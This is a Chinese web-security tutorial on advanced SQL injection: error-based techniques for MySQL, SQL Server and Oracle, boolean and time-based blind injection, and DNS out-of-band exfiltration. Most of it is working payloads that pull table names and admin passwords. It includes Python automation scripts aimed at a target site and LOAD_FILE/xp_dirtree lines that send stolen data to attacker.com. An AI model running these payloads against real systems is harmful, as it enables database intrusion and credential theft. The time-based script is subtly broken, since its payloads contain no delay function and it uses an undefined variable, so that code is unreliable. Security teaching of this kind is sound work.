Day-034-SQL注入进阶报错注入与盲注

# Day 33: SQL 注入进阶 - 报错注入与盲注

> Web 安全系列第 3 天 | 预计阅读时间：40 分钟 | 难度：★★★★☆

---

## 清单 目录

1. [报错注入详解](#报错注入详解)
2. [MySQL 报错注入](#mysql 报错注入)
3. [SQL Server 报错注入](#sql-server 报错注入)
4. [Oracle 报错注入](#oracle 报错注入)
5. [布尔盲注技术](#布尔盲注技术)
6. [时间盲注技术](#时间盲注技术)
7. [DNS 外带注入](#dns 外带注入)
8. [自动化脚本编写](#自动化脚本编写)
9. [实战案例分析](#实战案例分析)
10. [总结与思考](#总结与思考)
11. [参考资料](#参考资料)

---

## 报错注入详解

### 什么是报错注入

**报错注入（Error-based SQL Injection）**是利用数据库的错误信息来提取数据的注入技术。

**形象理解**：
如果把数据库比作一个严格的会计，那么：
- **正常查询** = "给我看张三的账本"
- **报错注入** = "给我看张三的账本，但是用红笔写"
- **会计反应** = "等等，张三的账本是'机密'级别，我不能用红笔写！"
- **结果** = 会计无意中泄露了"机密"这个信息

**适用场景**：
```
✓ 联合查询被禁止
✓ 页面无数据显示
✓ 但显示数据库错误信息
✓ 错误信息包含查询内容
```

**不适用场景**：
```
✗ 错误信息被隐藏
✗ 自定义错误页面
✗ 生产环境（通常不显示详细错误）
```

---

## MySQL 报错注入

### extractvalue() 函数

**函数说明**：
```
extractvalue(XML_document, XPath_expression)

作用：从 XML 文档中提取数据
当 XPath 表达式无效时，会报错并显示表达式内容

利用原理：
将 SQL 查询结果拼接到 XPath 表达式中，
让错误信息包含查询结果。
```

**基础 Payload**：
```sql
-- 获取数据库版本
SELECT extractvalue(1, concat(0x7e, (SELECT version())));
-- 错误信息：XPATH syntax error: '~5.7.30'

-- 获取当前数据库
SELECT extractvalue(1, concat(0x7e, (SELECT database())));
-- 错误信息：XPATH syntax error: '~test_db'

-- 获取当前用户
SELECT extractvalue(1, concat(0x7e, (SELECT user())));
-- 错误信息：XPATH syntax error: '~root@localhost'
```

**注入点 Payload**：
```sql
-- 原始查询
SELECT * FROM products WHERE id = 1

-- 注入后
SELECT * FROM products WHERE id = 1 AND extractvalue(1, concat(0x7e, database()))

-- URL 形式
/product.php?id=1 AND extractvalue(1, concat(0x7e, database()))
```

**获取表名**：
```sql
-- 获取第一个表名
SELECT extractvalue(1, concat(0x7e, (
    SELECT table_name FROM information_schema.tables 
    WHERE table_schema = database() 
    LIMIT 0,1
)));

-- 获取所有表名（使用 GROUP_CONCAT）
SELECT extractvalue(1, concat(0x7e, (
    SELECT GROUP_CONCAT(table_name) FROM information_schema.tables 
    WHERE table_schema = database()
)));
```

**获取列名**：
```sql
-- 获取 users 表的列名
SELECT extractvalue(1, concat(0x7e, (
    SELECT column_name FROM information_schema.columns 
    WHERE table_name = 'users' 
    LIMIT 0,1
)));

-- 获取所有列名
SELECT extractvalue(1, concat(0x7e, (
    SELECT GROUP_CONCAT(column_name) FROM information_schema.columns 
    WHERE table_name = 'users'
)));
```

**获取数据**：
```sql
-- 获取 admin 用户密码
SELECT extractvalue(1, concat(0x7e, (
    SELECT password FROM users WHERE username = 'admin'
)));
```

### updatexml() 函数

**函数说明**：
```
updatexml(XML_document, XPath_expression, New_value)

作用：更新 XML 文档中的值
当 XPath 表达式无效时，同样会报错

与 extractvalue() 类似，但多一个参数
```

**基础 Payload**：
```sql
-- 获取数据库版本
SELECT updatexml(1, concat(0x7e, (SELECT version())), 1);
-- 错误信息：XPATH syntax error: '~5.7.30'

-- 注入点
/product.php?id=1 AND updatexml(1, concat(0x7e, database()), 1)
```

**获取表名**：
```sql
SELECT updatexml(1, concat(0x7e, (
    SELECT table_name FROM information_schema.tables 
    WHERE table_schema = database() 
    LIMIT 0,1
)), 1);
```

### floor() 报错注入

**原理**：
```
利用 GROUP BY 和 RAND() 的冲突，
产生重复键错误，错误信息中包含数据。

适用：
- extractvalue() 被过滤
- 需要获取多条数据
```

**基础 Payload**：
```sql
SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2)) x 
FROM information_schema.tables 
GROUP BY x;

-- 错误信息：Duplicate entry '5.7.301' for key ''
```

**注入点 Payload**：
```sql
/product.php?id=1 AND (
    SELECT 1 FROM (
        SELECT COUNT(*), CONCAT(database(), FLOOR(RAND(0)*2)) x 
        FROM information_schema.tables 
        GROUP BY x
    ) a
)
```

**获取表名**：
```sql
SELECT COUNT(*), CONCAT(
    (SELECT table_name FROM information_schema.tables 
     WHERE table_schema = database() LIMIT 0,1), 
    FLOOR(RAND(0)*2)
) x 
FROM information_schema.tables 
GROUP BY x;
```

### 几何函数报错

**原理**：
```
MySQL 5.5+ 的几何函数在处理无效数据时会报错，
错误信息包含输入数据。

函数：
- polygon()
- multipoint()
- linestring()
```

**Payload 示例**：
```sql
-- 使用 polygon()
SELECT polygon((SELECT * FROM (SELECT version()) a));

-- 使用 multipoint()
SELECT multipoint((SELECT * FROM (SELECT version()) a));

-- 注入点
/product.php?id=1 AND polygon((SELECT * FROM (SELECT database()) a))
```

---

## SQL Server 报错注入

### convert() 函数

**原理**：
```
将字符串转换为整数时，
如果字符串不是数字，会报错并显示字符串内容。
```

**基础 Payload**：
```sql
-- 获取版本
SELECT convert(int, @@version);
-- 错误信息：Conversion failed when converting the varchar value 'Microsoft SQL Server...' to data type int.

-- 获取数据库名
SELECT convert(int, DB_NAME());

-- 注入点
/product.asp?id=1 AND convert(int, DB_NAME())
```

**获取表名**：
```sql
SELECT convert(int, (
    SELECT TOP 1 name FROM sysobjects WHERE xtype = 'U'
));
```

**获取列名**：
```sql
SELECT convert(int, (
    SELECT TOP 1 name FROM syscolumns WHERE id = OBJECT_ID('users')
));
```

**获取数据**：
```sql
SELECT convert(int, (
    SELECT TOP 1 password FROM users WHERE username = 'admin'
));
```

### cast() 函数

**原理**：
```
类似 convert()，但语法不同
```

**Payload 示例**：
```sql
SELECT cast(@@version as int);
SELECT cast(DB_NAME() as int);
```

### 其他报错方法

**算术溢出**：
```sql
-- 大数相乘导致溢出
SELECT 999999999999999999 * 999999999999999999;

-- 注入点
/product.asp?id=1 AND (SELECT 999999999999999999 * 999999999999999999)
```

**字符串截断**：
```sql
-- 字符串太长
SELECT CAST(REPLICATE('A', 8000) AS VARCHAR(10));
```

---

## Oracle 报错注入

### XMLType 函数

**原理**：
```
Oracle 的 XMLType 函数在处理无效 XML 时会报错
```

**Payload 示例**：
```sql
-- 获取版本
SELECT XMLType((SELECT version FROM v$instance)) FROM dual;

-- 获取当前用户
SELECT XMLType((SELECT user FROM dual)) FROM dual;

-- 注入点
/product.php?id=1 AND XMLType((SELECT user FROM dual)) IS NOT NULL
```

### CTXSYS.DRITHSX.SN 函数

**原理**：
```
Oracle Text 组件的函数，处理无效输入时报错
```

**Payload 示例**：
```sql
SELECT CTXSYS.DRITHSX.SN(user, (SELECT user FROM dual)) FROM dual;
```

### UTL_INADDR.GET_HOST_ADDRESS

**原理**：
```
DNS 查询函数，参数无效时报错
```

**Payload 示例**：
```sql
SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual)) FROM dual;
```

---

## 布尔盲注技术

### 原理详解

**什么是布尔盲注**：
```
页面不显示数据库内容，也不显示错误信息，
但会根据查询结果的真/假显示不同内容。

判断依据：
- 页面内容差异
- 页面大小差异
- HTTP 状态码
- 重定向
```

**典型场景**：
```
登录页面：
- 用户名密码正确 → "登录成功"
- 用户名密码错误 → "用户名或密码错误"

通过构造条件，
让页面显示"登录成功"或"错误"，
从而推断数据。
```

### 判断流程

**步骤 1: 确认盲注**
```sql
-- 真条件
?id=1 AND 1=1
→ 页面正常

-- 假条件
?id=1 AND 1=2
→ 页面异常

结论：
页面有两种状态，可以盲注
```

**步骤 2: 判断数据库类型**
```sql
-- MySQL
?id=1 AND SLEEP(0)
→ 页面无变化 → 可能 MySQL

-- SQL Server
?id=1; WAITFOR DELAY '0:0:0'--
→ 页面无变化 → 可能 SQL Server
```

**步骤 3: 逐位推断**
```sql
-- 判断数据库名第一个字符
?id=1 AND SUBSTRING(database(),1,1)='a'
→ 页面异常 → 不是'a'

?id=1 AND SUBSTRING(database(),1,1)='b'
→ 页面异常 → 不是'b'

...

?id=1 AND SUBSTRING(database(),1,1)='t'
→ 页面正常 → 是't'

结论：
数据库名第一个字符是't'
```

### 自动化脚本

```python
#!/usr/bin/env python3
# boolean_blind_auto.py
# 布尔盲注自动化脚本

import requests
import string

class BooleanBlind:
    def __init__(self, url, param, true_mark):
        self.url = url
        self.param = param
        self.true_mark = true_mark  # 真页面特征
        self.session = requests.Session()
    
    def is_true(self, payload):
        """判断条件是否为真"""
        url = f"{self.url}?{self.param}={payload}"
        response = self.session.get(url)
        
        # 判断真/假
        return self.true_mark in response.text
    
    def get_length(self, query):
        """获取数据长度"""
        for i in range(1, 200):
            payload = f"1 AND LENGTH({query})={i}"
            if self.is_true(payload):
                return i
        return 0
    
    def get_data(self, query, length):
        """逐位获取数据"""
        result = ""
        chars = string.ascii_letters + string.digits + "_@.-"
        
        for i in range(1, length + 1):
            for c in chars:
                payload = f"1 AND SUBSTRING({query},{i},1)='{c}'"
                if self.is_true(payload):
                    result += c
                    print(f"\r{result}", end="")
                    break
            else:
                # 没有找到字符，可能是特殊字符
                result += "?"
        
        return result
    
    def exploit(self, query):
        """完整利用"""
        print(f"[*] 获取数据长度...")
        length = self.get_length(query)
        print(f"[+] 数据长度：{length}")
        
        print(f"[*] 开始获取数据...")
        data = self.get_data(query, length)
        print(f"\n[+] 获取结果：{data}")
        
        return data

# 使用示例
if __name__ == "__main__":
    url = "http://target.com/product.php"
    param = "id"
    true_mark = "存在"  # 真页面特征
    
    blind = BooleanBlind(url, param, true_mark)
    
    # 获取数据库名
    database = blind.exploit("database()")
    print(f"数据库名：{database}")
    
    # 获取表名
    table = blind.exploit(
        "(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)"
    )
    print(f"表名：{table}")
    
    # 获取密码
    password = blind.exploit(
        "(SELECT password FROM users WHERE username='admin')"
    )
    print(f"密码：{password}")
```

---

## 时间盲注技术

### 原理详解

**什么是时间盲注**：
```
页面无论条件真/假都显示相同内容，
但响应时间不同。

判断依据：
- 条件为真 → 延迟 N 秒
- 条件为假 → 立即响应
```

**适用场景**：
```
✓ 页面无任何差异
✓ 布尔盲注无效
✓ 服务器可执行延迟函数
```

### 各数据库延迟函数

**MySQL**：
```sql
-- SLEEP() 函数
SELECT SLEEP(5);

-- 注入点
?id=1 AND IF(SUBSTRING(database(),1,1)='t', SLEEP(5), 0)

-- BENCHMARK() 函数
SELECT BENCHMARK(10000000, SHA1('test'));
```

**SQL Server**：
```sql
-- WAITFOR DELAY
WAITFOR DELAY '0:0:5';

-- 注入点
?id=1; IF SUBSTRING(DB_NAME(),1,1)='t' WAITFOR DELAY '0:0:5'--
```

**PostgreSQL**：
```sql
-- pg_sleep()
SELECT pg_sleep(5);

-- 注入点
?id=1 AND (SELECT CASE WHEN SUBSTRING(current_database(),1,1)='t' THEN pg_sleep(5) ELSE pg_sleep(0) END)
```

**Oracle**：
```sql
-- DBMS_LOCK.SLEEP()
BEGIN DBMS_LOCK.SLEEP(5); END;

-- 注入点
?id=1 AND (SELECT CASE WHEN SUBSTR(SYS.DATABASE_NAME,1,1)='t' THEN DBMS_LOCK.SLEEP(5) ELSE 0 END FROM DUAL)
```

### 自动化脚本

```python
#!/usr/bin/env python3
# time_blind_auto.py
# 时间盲注自动化脚本

import requests
import time
import string

class TimeBlind:
    def __init__(self, url, param, delay=2, threshold=1.5):
        self.url = url
        self.param = param
        self.delay = delay  # 延迟秒数
        self.threshold = threshold  # 判断阈值
        self.session = requests.Session()
    
    def is_true(self, payload):
        """判断条件是否为真"""
        url = f"{self.url}?{self.param}={payload}"
        
        start = time.time()
        try:
            response = self.session.get(url, timeout=10)
        except:
            pass
        end = time.time()
        
        # 判断时间差
        return (end - start) >= self.delay
    
    def get_length(self, query):
        """获取数据长度"""
        for i in range(1, 200):
            payload = f"1 AND LENGTH({query})={i}"
            if self.is_true(payload):
                return i
        return 0
    
    def get_data(self, query, length):
        """逐位获取数据"""
        result = ""
        chars = string.ascii_letters + string.digits + "_@.-"
        
        for i in range(1, length + 1):
            for c in chars:
                payload = f"1 AND SUBSTRING({query},{i},1)='{c}'"
                if self.is_true(payload):
                    result += c
                    print(f"\r{result}", end="")
                    break
            else:
                result += "?"
        
        return result
    
    def exploit(self, query):
        """完整利用"""
        print(f"[*] 获取数据长度...")
        length = self.get_length(query)
        print(f"[+] 数据长度：{length}")
        
        print(f"[*] 开始获取数据（预计 {length * len(chars)} 次请求）...")
        data = self.get_data(query, length)
        print(f"\n[+] 获取结果：{data}")
        
        return data

# 使用示例
if __name__ == "__main__":
    url = "http://target.com/product.php"
    param = "id"
    
    blind = TimeBlind(url, param, delay=2)
    
    # MySQL 示例
    database = blind.exploit("database()")
    print(f"数据库名：{database}")
```

---

## DNS 外带注入

### 原理详解

**什么是 DNS 外带注入**：
```
利用数据库的 DNS 查询功能，
将数据通过 DNS 请求传出。

适用场景：
- 盲注太慢
- 服务器可访问外网
- 需要大量数据
```

**工作流程**：
```
1. 攻击者搭建 DNS 日志服务器
2. 构造 payload，包含数据
3. 数据库执行 DNS 查询
4. DNS 服务器记录查询
5. 攻击者查看日志获取数据
```

### MySQL DNS 外带

**LOAD_FILE() 方法**：
```sql
-- 基础 payload
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\abc'));

-- 解释：
-- \\\\ 是 UNC 路径前缀
-- 数据库名会被解析为域名
-- 如：testdb.attacker.com

-- 注入点
/product.php?id=1 AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.attacker.com\\abc')))
```

**完整利用**：
```sql
-- 获取表名
SELECT LOAD_FILE(CONCAT('\\\\',(
    SELECT table_name FROM information_schema.tables 
    WHERE table_schema=database() LIMIT 0,1
),'.attacker.com\\abc'));

-- 获取数据
SELECT LOAD_FILE(CONCAT('\\\\',(
    SELECT password FROM users WHERE username='admin'
),'.attacker.com\\abc'));
```

### SQL Server DNS 外带

**xp_dirtree 方法**：
```sql
-- 基础 payload
EXEC master..xp_dirtree '\\attacker.com\abc';

-- 带数据
DECLARE @cmd VARCHAR(100);
SET @cmd = '\\'+(SELECT DB_NAME())+'.attacker.com\abc';
EXEC master..xp_dirtree @cmd;

-- 注入点
/product.asp?id=1; EXEC master..xp_dirtree '\\'+(SELECT DB_NAME())+'.attacker.com\abc'--
```

**其他方法**：
```sql
-- xp_fileexist
EXEC master..xp_fileexist '\\attacker.com\abc';

-- xp_subdirs
EXEC master..xp_subdirs '\\attacker.com\abc';
```

### 搭建 DNS 日志服务器

**使用 dnslog.cn（在线）**：
```
1. 访问 http://dnslog.cn/
2. 获取随机子域名
3. 构造 payload
4. 查看 DNS 记录
```

**使用 Python 搭建**：
```python
#!/usr/bin/env python3
# dns_logger.py
# 简易 DNS 日志服务器

from dnslib import DNSRecord, DNSHeader, RR, A
from dnslib.server import DNSServer
import socket

class DNSLogger:
    def log(self, data):
        """记录 DNS 查询"""
        with open('dns_log.txt', 'a') as f:
            f.write(f"{data}\n")
        print(f"[+] 收到查询：{data}")

def start_dns_server(port=53):
    """启动 DNS 服务器"""
    logger = DNSLogger()
    
    class Resolver:
        def resolve(self, request, handler):
            # 解析请求
            qname = request.q.qname.label[0].decode()
            
            # 记录查询
            logger.log(qname)
            
            # 返回响应
            reply = request.reply()
            reply.add_answer(
                RR(request.q.qname, 'A', rdata=A('127.0.0.1'))
            )
            return reply
    
    server = DNSServer(Resolver(), port=port)
    print(f"[*] DNS 服务器启动在端口 {port}")
    server.start_thread()

if __name__ == "__main__":
    start_dns_server()
```

---

## 实战案例分析

### 案例 1: 电商订单查询

**场景**：
```
URL: /order.php?id=12345
功能：查询订单详情
参数：订单 ID（数字）
```

**检测过程**：
```
步骤 1: 测试注入
/order.php?id=12345'
→ 页面报错，显示 SQL 语法错误
→ 确认注入点

步骤 2: 判断类型
/order.php?id=12345 UNION SELECT 1,2,3,4,5
→ 页面无变化
→ 联合查询可能被过滤

步骤 3: 尝试报错注入
/order.php?id=12345 AND extractvalue(1, concat(0x7e, database()))
→ 页面显示错误信息
→ 错误信息包含数据库名
→ 确认可报错注入

步骤 4: 获取数据
/order.php?id=12345 AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())))
→ 获取所有表名

步骤 5: 获取敏感数据
/order.php?id=12345 AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(username,':',password) FROM admin)))
→ 获取管理员账号密码
```

**修复建议**：
```
1. 使用参数化查询
2. 隐藏错误信息
3. 输入验证
4. WAF 防护
```

### 案例 2: 用户搜索功能

**场景**：
```
URL: /search.php?keyword=xxx
功能：搜索用户
参数：搜索关键词（字符串）
```

**检测过程**：
```
步骤 1: 测试注入
/search.php?keyword=test'
→ 页面无变化
→ 可能已过滤或无注入

步骤 2: 盲注测试
/search.php?keyword=test' AND 1=1
→ 有结果

/search.php?keyword=test' AND 1=2
→ 无结果

→ 确认为布尔盲注

步骤 3: 自动化获取
使用布尔盲注脚本
获取数据库名、表名、用户数据
```

---

## 总结与思考

### 核心要点回顾

1. **报错注入**
   - 利用错误信息
   - MySQL: extractvalue(), updatexml()
   - SQL Server: convert(), cast()

2. **盲注技术**
   - 布尔盲注：页面真/假判断
   - 时间盲注：响应时间判断
   - DNS 外带：DNS 查询传出

3. **自动化利用**
   - Python 脚本
   - 逐位推断
   - 耗时较长

### 深入思考问题

1. **为什么盲注依然存在**？
   - 错误信息隐藏不彻底
   - 时间差异难消除
   - 自动化脚本普及

2. **如何有效防护**？
   - 参数化查询（根本）
   - 统一错误页面
   - WAF 规则优化
   - 响应时间随机化

3. **未来趋势**？
   - 云环境 DNS 限制
   - 延迟函数被禁用
   - 新的外带方式

### 实战建议

**安全人员**：
1. 理解原理，不依赖工具
2. 手工验证，避免误报
3. 详细记录，便于复现
4. 提供可操作建议

**开发人员**：
1. 参数化查询
2. 统一错误处理
3. 输入验证
4. 最小权限

**管理层**：
1. 安全培训
2. 代码审计
3. 渗透测试
4. 应急响应

---

## 参考资料

### 学习资源
- [SQL Injection Wiki - Error Based](https://sqlwiki.net/injection/errorBased)
- [SQL Injection Wiki - Blind](https://sqlwiki.net/injection/blind)
- [OWASP Blind SQL Injection](https://owasp.org/www-community/attacks/Blind_SQL_Injection)

### 工具资源
- [sqlmap](http://sqlmap.org/)
- [DNSlog.cn](http://dnslog.cn/)
- [Burp Suite](https://portswigger.net/burp)

### 书籍推荐
- 《SQL 注入攻击与防御》
- 《Web 安全深度剖析》
- 《渗透测试实践指南》

---

**标记 明日预告**：Day 34 - XSS 跨站脚本攻击基础

> 本文内容仅供学习和研究使用，请勿用于非法目的。所有实验请在隔离环境中进行。

---

*本文是 365 天信息安全技术系列的第 33 篇，Web 安全部分第 3 篇，精编版本*